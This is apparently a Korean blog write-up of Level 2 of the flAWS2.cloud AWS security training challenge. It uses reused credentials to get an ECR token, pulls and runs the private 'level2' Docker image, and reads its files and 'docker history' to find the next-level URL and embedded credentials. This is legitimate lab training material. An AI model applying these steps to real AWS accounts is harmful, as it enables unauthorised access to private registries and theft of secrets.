[AWS] flAWS2 Challenge - Level2(Attacker)
flAWS2.cloud
level2-g9785tw8478k4awxtbox9kk3c5ka8iiz.flaws2.cloud
문제확인
=> 이번 문제는 ECR관련된 문제로 보여진다. 문제에서 제공된 링크에 접속 시, 계정정보를 물어본다. 딱봐도 계정정보를 알아내면 다음 Level로 가는 링크를 알려줄 것 같다. 문제에서 제공한 힌트는 ECR이름이 "level2"라는 것과 s3같이 open된 permission을 가진 AWS 리소스를 사용하라는 것 같다.
aws-cli 설치 + aws configure 진행
Install or update the latest version of the AWS CLI - AWS Command Line Interface
When updating from a previous version, the unzip command prompts to overwrite existing files. To skip these prompts, such as with script automation, use the -u update flag for unzip. This flag automatically updates existing files and creates new ones as ne
docs.aws.amazon.com
apt update
curl "https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip" -o "awscliv2.zip"
apt install unzip -y
unzip awscliv2.zip
sudo ./aws/install
aws configure --profile go
aws --profile go sts get-caller-identity
# sts get-caller-identity 입력 시 에러발생할 경우: apt install -y less
=> Credential의 경우 Level1에서 사용했던 Access key, Secret Access Key, Token을 사용해주었다.
ecr image 정보 확인
aws --profile go ecr list-images --repository-name level2
ecr autorizaiton token 받기
ecr — AWS CLI 1.29.5 Command Reference
Note: You are viewing the documentation for an older major version of the AWS CLI (version 1). AWS CLI version 2, the latest major version of AWS CLI, is now stable and recommended for general use. To view this page for the AWS CLI version 2, click here. F
docs.aws.amazon.com
aws --profile go ecr get-authorization-token | jq ".authorizationData[].authorizationToken" | tr -d '"' | base64 -d
이미지 가져오기 - Amazon ECR
이 페이지에 작업이 필요하다는 점을 알려 주셔서 감사합니다. 실망시켜 드려 죄송합니다. 잠깐 시간을 내어 설명서를 향상시킬 수 있는 방법에 대해 말씀해 주십시오.
docs.aws.amazon.com
=> token을 발급받았고 ecr의 endpoint까지 확인이 가능했다. 우리의 ecr 목적지는 공식홈페이지를 참고했을 때 https://653711331788.dkr.ecr.us-east-1.amazonaws.com/level2가 될 것이다. 혹시모르니 한번 더 확인해보자.
=> 역시나 계정을 요구하고 있다. 우선 여기까지 진행했을 때 해당 repository에 image가 존재하고 tag는 latest이므로 아마 그냥 다운로드는 안될 것이다. 즉 , private한 repository이다.
발급받은 token을 이용한 요청
export TOKEN=$(aws --profile go ecr get-authorization-token | jq ".authorizationData[].authorizationToken" | tr -d '"' | base64 -d)
curl -v -u $(echo $TOKEN) https://653711331788.dkr.ecr.us-east-1.amazonaws.com/v2/level2/manifests/latest
=> 발급받은 token이 정상적으로 동작한다는 것을 알 수 있었다. 그렇다면 해당 token을 이용해서 ecr을 통해 image를 다운로드한뒤 그 image를 살펴보면 답이 나올 것 같다.
Docker 설치 및 Daemon 실행
Install Docker Engine on Ubuntu
docs.docker.com
apt update
apt-get install docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin
systemctl start docker
Docker image pull
docker pull 653711331788.dkr.ecr.us-east-1.amazonaws.com/level2:latest
=> 역시나 자격증명이 진행되지않아서 인지 image pull이 불가하다. 그렇다면 해주자!ㅎㅎ
발급받은 AWS Authentication Token으로 docker login 진행
aws --profile go ecr get-login-password --region us-east-1 | docker login --username AWS --password-stdin 653711331788.dkr.ecr.us-east-1.amazonaws.com
=> AWS CLI를 사용하여 Docker에 ECR에 대한 자격 증명을 제공하여 로그인했다.
다시 Docker image pull
docker pull 653711331788.dkr.ecr.us-east-1.amazonaws.com/level2:latest
docker images
=> 아주 냐미하게 pull이 잘 진행되는 것을 볼 수 있었고 완료도 되었다.
Container 실행
docker run 653711331788.dkr.ecr.us-east-1.amazonaws.com/level2
docker ps
=> 정상적으로 실행되었다. 그러면 이제 Container에 shell을 통해 뒤적거려보자! docker ps를 통해 sh로 /var/www/html/st..까지보여지는데 더 볼 수 있지만 일단 들어가봤다.
Container 접속(사실 접속이라기보단 shell을 실행한다는게 맞는 표현이긴하다)
docker exec -it 48f5d13574ec sh
ps -ef
=> 파일경로에서부터 이미 알았지만 역시 nginx가 실행되고 있을 것 같았고 맞았다. 그렇다면 저 경로를 한번 가보자.
cd /var/www/html
=> docker ps에서 본 command는 start.sh인 것으로 확인되었다. 그리고 html 파일들도 있었는데
cat index.htm
=> 띠용.. 바로 다음 level3로 가는 경로가 보여졌다. 이렇게 푸는게 맞나?? 당황했지만 접속은 해봐야지..ㅎㅎ
다음 문제 Level3.. ㅎㅇ..
flAWS2.cloud
level3-oc6ou6dnkw8sszwvdrraxc5t5udrsw3s.flaws2.cloud
=> 음 되긴하네??..ㄷㄷㄷ 이렇게 푸는게 맞나.. 혹시몰라 이전에 공부하다가 발견했던 취약점중 하나를 이용해보았다. 그건 바로 Dockerfile history를 뒤져보는 것이였다.
Dockerfile History 확인
docker history 653711331788.dkr.ecr.us-east-1.amazonaws.com/level2 --no-trunc
=> ..?? 역시나 이걸 만든사람도 이렇게 푸는거라고 유도한건지 아닌지는 모르겠으나 여기에 떡하니 credential 정보가 보였다.. 역시 공부해서 나쁠건 없다..ㅎㅎ
줍줍한 Credential로 접속
다음 Level로~
flAWS2.cloud
level3-oc6ou6dnkw8sszwvdrraxc5t5udrsw3s.flaws2.cloud
=> 다음 Level로 가는 링크를 주었다.. ㅎㅎ 결론적으로 만든사람은 계정/패스워드를 줍줍해서 로그인한다음 URL을 줍길 바랬으나 나는 바로 URL을 주웠던 것이였다..이득이다ㅋㅋㅋㅋ
AWS CLI에서 Amazon ECR 사용 - Amazon ECR
경우에 따라서는 ec2-user가 Docker 데몬에 액세스할 수 있는 권한을 제공하기 위해 인스턴스를 재부팅해야 할 수도 있습니다. 다음 오류가 표시될 경우 인스턴스를 재부팅합니다. Cannot connect to the D
docs.aws.amazon.com
=> 문제를 다풀고 hint를 보니 나랑 살짝 풀이가 달랐다. 제공하는 풀이는 이미 존재하니까 언급하지 않겠다(참고로 hint option1번의 ecr get-login 명령어는 삭제되어서 이제 사용할 수 없다). 이렇게해보고 저렇게해보고 이러면될 거같은데 했는데 원하는데로 진행되어서 그런지 재미난 문제였다ㅎㅎ